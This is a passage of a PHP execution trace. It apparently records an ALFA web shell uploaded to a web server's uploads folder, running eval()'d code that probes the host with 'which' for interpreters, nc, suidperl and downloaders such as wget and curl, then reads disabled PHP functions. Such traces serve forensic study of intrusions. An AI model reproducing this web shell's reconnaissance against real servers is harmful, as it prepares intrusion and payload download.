6	406	0	0.070831	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'python'
7	407	0	0.070852	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which python'	FALSE	FALSE	???
8	408	0	0.070869	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which python'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	409	0	0.070897	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	409	1	0.070913	3529784
9	409	R			TRUE
9	410	0	0.070926	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which python'	''
9	410	1	0.072131	3529888
9	410	R			''
9	411	0	0.072155	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	411	1	0.072172	3529888
9	411	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	408	1	0.072200	3529744
8	408	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	407	1	0.072227	3529744
7	407	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	406	1	0.072252	3529704
6	406	R			FALSE
6	412	0	0.072266	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'ruby'
7	413	0	0.072282	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which ruby'	FALSE	FALSE	???
8	414	0	0.072299	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which ruby'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	415	0	0.072327	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	415	1	0.072342	3529784
9	415	R			TRUE
9	416	0	0.072355	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which ruby'	''
9	416	1	0.073734	3529888
9	416	R			''
9	417	0	0.073756	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	417	1	0.073774	3529888
9	417	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	414	1	0.073801	3529744
8	414	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	413	1	0.073828	3529744
7	413	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	412	1	0.073853	3529704
6	412	R			FALSE
6	418	0	0.073866	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'tar'
7	419	0	0.073882	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which tar'	FALSE	FALSE	???
8	420	0	0.073898	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which tar'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	421	0	0.073927	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	421	1	0.073942	3529784
9	421	R			TRUE
9	422	0	0.073955	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which tar'	''
9	422	1	0.075296	3530288
9	422	R			'/usr/bin/tar'
9	423	0	0.075320	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/tar']
9	423	1	0.075338	3530248
9	423	R			'/usr/bin/tar'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/tar'
8	420	1	0.075368	3529784
8	420	R			'/usr/bin/tar'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/tar'
7	419	1	0.075401	3529784
7	419	R			'/usr/bin/tar'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/tar'
6	418	1	0.075428	3529704
6	418	R			12
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
6	424	0	0.075455	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'gzip'
7	425	0	0.075471	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which gzip'	FALSE	FALSE	???
8	426	0	0.075487	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which gzip'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	427	0	0.075516	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	427	1	0.075531	3529784
9	427	R			TRUE
9	428	0	0.075544	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which gzip'	''
9	428	1	0.076746	3530288
9	428	R			'/usr/bin/gzip'
9	429	0	0.076769	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/gzip']
9	429	1	0.076788	3530248
9	429	R			'/usr/bin/gzip'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/gzip'
8	426	1	0.076823	3529784
8	426	R			'/usr/bin/gzip'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/gzip'
7	425	1	0.076851	3529784
7	425	R			'/usr/bin/gzip'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/gzip'
6	424	1	0.076879	3529704
6	424	R			13
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
6	430	0	0.076905	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'bzip'
7	431	0	0.076921	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which bzip'	FALSE	FALSE	???
8	432	0	0.076937	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which bzip'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	433	0	0.076965	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	433	1	0.076980	3529784
9	433	R			TRUE
9	434	0	0.076993	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which bzip'	''
9	434	1	0.078332	3529888
9	434	R			''
9	435	0	0.078355	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	435	1	0.078372	3529888
9	435	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	432	1	0.078400	3529744
8	432	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	431	1	0.078426	3529744
7	431	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	430	1	0.078452	3529704
6	430	R			FALSE
6	436	0	0.078466	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'bzialfa2'
7	437	0	0.078482	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which bzialfa2'	FALSE	FALSE	???
8	438	0	0.078499	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which bzialfa2'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	439	0	0.078533	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	439	1	0.078549	3529784
9	439	R			TRUE
9	440	0	0.078562	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which bzialfa2'	''
9	440	1	0.079733	3529888
9	440	R			''
9	441	0	0.079754	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	441	1	0.079771	3529888
9	441	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	438	1	0.079798	3529744
8	438	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	437	1	0.079824	3529744
7	437	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	436	1	0.079850	3529704
6	436	R			FALSE
6	442	0	0.079863	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'nc'
7	443	0	0.079879	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which nc'	FALSE	FALSE	???
8	444	0	0.079895	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which nc'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	445	0	0.079947	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	445	1	0.079963	3529784
9	445	R			TRUE
9	446	0	0.079976	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which nc'	''
9	446	1	0.081389	3530288
9	446	R			'/usr/bin/nc'
9	447	0	0.081414	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/nc']
9	447	1	0.081433	3530248
9	447	R			'/usr/bin/nc'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/nc'
8	444	1	0.081462	3529784
8	444	R			'/usr/bin/nc'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/nc'
7	443	1	0.081489	3529784
7	443	R			'/usr/bin/nc'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/nc'
6	442	1	0.081517	3529704
6	442	R			11
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
6	448	0	0.081544	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'locate'
7	449	0	0.081559	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which locate'	FALSE	FALSE	???
8	450	0	0.081576	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which locate'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	451	0	0.081604	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	451	1	0.081619	3529784
9	451	R			TRUE
9	452	0	0.081632	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which locate'	''
9	452	1	0.082961	3529888
9	452	R			''
9	453	0	0.082983	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	453	1	0.083001	3529888
9	453	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	450	1	0.083029	3529744
8	450	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	449	1	0.083056	3529744
7	449	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	448	1	0.083086	3529704
6	448	R			FALSE
6	454	0	0.083100	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'suidperl'
7	455	0	0.083115	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which suidperl'	FALSE	FALSE	???
8	456	0	0.083132	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which suidperl'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	457	0	0.083160	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	457	1	0.083175	3529784
9	457	R			TRUE
9	458	0	0.083188	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which suidperl'	''
9	458	1	0.084434	3529888
9	458	R			''
9	459	0	0.084457	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	459	1	0.084474	3529888
9	459	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	456	1	0.084502	3529744
8	456	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	455	1	0.084528	3529744
7	455	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	454	1	0.084554	3529704
6	454	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1925	$downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1926	$x = 0
6	460	0	0.084601	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	1	'wget'
7	461	0	0.084616	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which wget'	FALSE	FALSE	???
8	462	0	0.084633	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which wget'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	463	0	0.084661	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	463	1	0.084676	3529784
9	463	R			TRUE
9	464	0	0.084689	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which wget'	''
9	464	1	0.086036	3530288
9	464	R			'/usr/bin/wget'
9	465	0	0.086061	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/wget']
9	465	1	0.086079	3530248
9	465	R			'/usr/bin/wget'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/wget'
8	462	1	0.086109	3529784
8	462	R			'/usr/bin/wget'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/wget'
7	461	1	0.086137	3529784
7	461	R			'/usr/bin/wget'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/wget'
6	460	1	0.086165	3529704
6	460	R			13
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	$x++
6	466	0	0.086192	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	1	'fetch'
7	467	0	0.086207	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which fetch'	FALSE	FALSE	???
8	468	0	0.086224	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which fetch'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	469	0	0.086252	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	469	1	0.086274	3529784
9	469	R			TRUE
9	470	0	0.086287	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which fetch'	''
9	470	1	0.087466	3529888
9	470	R			''
9	471	0	0.087488	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	471	1	0.087506	3529888
9	471	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	468	1	0.087534	3529744
8	468	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	467	1	0.087560	3529744
7	467	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	466	1	0.087585	3529704
6	466	R			FALSE
6	472	0	0.087599	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	1	'lynx'
7	473	0	0.087614	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which lynx'	FALSE	FALSE	???
8	474	0	0.087631	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which lynx'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	475	0	0.087659	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	475	1	0.087674	3529784
9	475	R			TRUE
9	476	0	0.087687	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which lynx'	''
9	476	1	0.089069	3529888
9	476	R			''
9	477	0	0.089092	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	477	1	0.089110	3529888
9	477	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	474	1	0.089137	3529744
8	474	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	473	1	0.089164	3529744
7	473	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	472	1	0.089190	3529704
6	472	R			FALSE
6	478	0	0.089203	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	1	'links'
7	479	0	0.089219	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which links'	FALSE	FALSE	???
8	480	0	0.089235	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which links'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	481	0	0.089263	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	481	1	0.089278	3529784
9	481	R			TRUE
9	482	0	0.089291	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which links'	''
9	482	1	0.090639	3529888
9	482	R			''
9	483	0	0.090661	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	483	1	0.090679	3529888
9	483	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	480	1	0.090707	3529744
8	480	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	479	1	0.090734	3529744
7	479	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	478	1	0.090759	3529704
6	478	R			FALSE
6	484	0	0.090773	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	1	'curl'
7	485	0	0.090788	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which curl'	FALSE	FALSE	???
8	486	0	0.090809	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which curl'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	487	0	0.090838	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	487	1	0.090853	3529784
9	487	R			TRUE
9	488	0	0.090866	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which curl'	''
9	488	1	0.092058	3530288
9	488	R			'/usr/bin/curl'
9	489	0	0.092083	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/curl']
9	489	1	0.092102	3530248
9	489	R			'/usr/bin/curl'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/curl'
8	486	1	0.092131	3529784
8	486	R			'/usr/bin/curl'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/curl'
7	485	1	0.092160	3529784
7	485	R			'/usr/bin/curl'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/curl'
6	484	1	0.092187	3529704
6	484	R			13
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	$x++
6	490	0	0.092214	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	1	'get'
7	491	0	0.092230	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which get'	FALSE	FALSE	???
8	492	0	0.092247	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which get'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	493	0	0.092275	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	493	1	0.092290	3529784
9	493	R			TRUE
9	494	0	0.092303	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which get'	''
9	494	1	0.093456	3529888
9	494	R			''
9	495	0	0.093476	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	495	1	0.093493	3529888
9	495	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	492	1	0.093521	3529744
8	492	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	491	1	0.093548	3529744
7	491	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	490	1	0.093574	3529704
6	490	R			FALSE
6	496	0	0.093588	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	1	'lwp-mirror'
7	497	0	0.093603	3529752	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which lwp-mirror'	FALSE	FALSE	???
8	498	0	0.093620	3529752	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which lwp-mirror'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	499	0	0.093648	3529752	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	499	1	0.093663	3529792
9	499	R			TRUE
9	500	0	0.093676	3529776	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which lwp-mirror'	''
9	500	1	0.094863	3530312
9	500	R			'/usr/bin/lwp-mirror'
9	501	0	0.094887	3530200	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/lwp-mirror']
9	501	1	0.094906	3530264
9	501	R			'/usr/bin/lwp-mirror'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/lwp-mirror'
8	498	1	0.094942	3529800
8	498	R			'/usr/bin/lwp-mirror'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/lwp-mirror'
7	497	1	0.094971	3529800
7	497	R			'/usr/bin/lwp-mirror'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/lwp-mirror'
6	496	1	0.094999	3529704
6	496	R			19
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1927	$x++
6	502	0	0.095027	3529704	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1945	1	'get_magic_quotes_gpc'
6	502	1	0.095044	3529744
6	502	R			TRUE
6	503	0	0.095057	3529704	get_magic_quotes_gpc	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1945	0
6	503	1	0.095071	3529704
6	503	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1945	$quotes = FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1945	$magic = '<span class="header_off">OFF</span>'
6	504	0	0.095111	3529704	Alfa_GetDisable_Function	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1947	0
7	505	0	0.095127	3529704	ini_get	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	859	1	'disable_functions'
7	505	1	0.095143	3530184
7	505	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	859	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	860	$afa = '<span class="header_show_all">All Functions Accessible</span>'
7	506	0	0.095205	3530152	explode	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	862	2	','	'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
7	506	1	0.095229	3532624
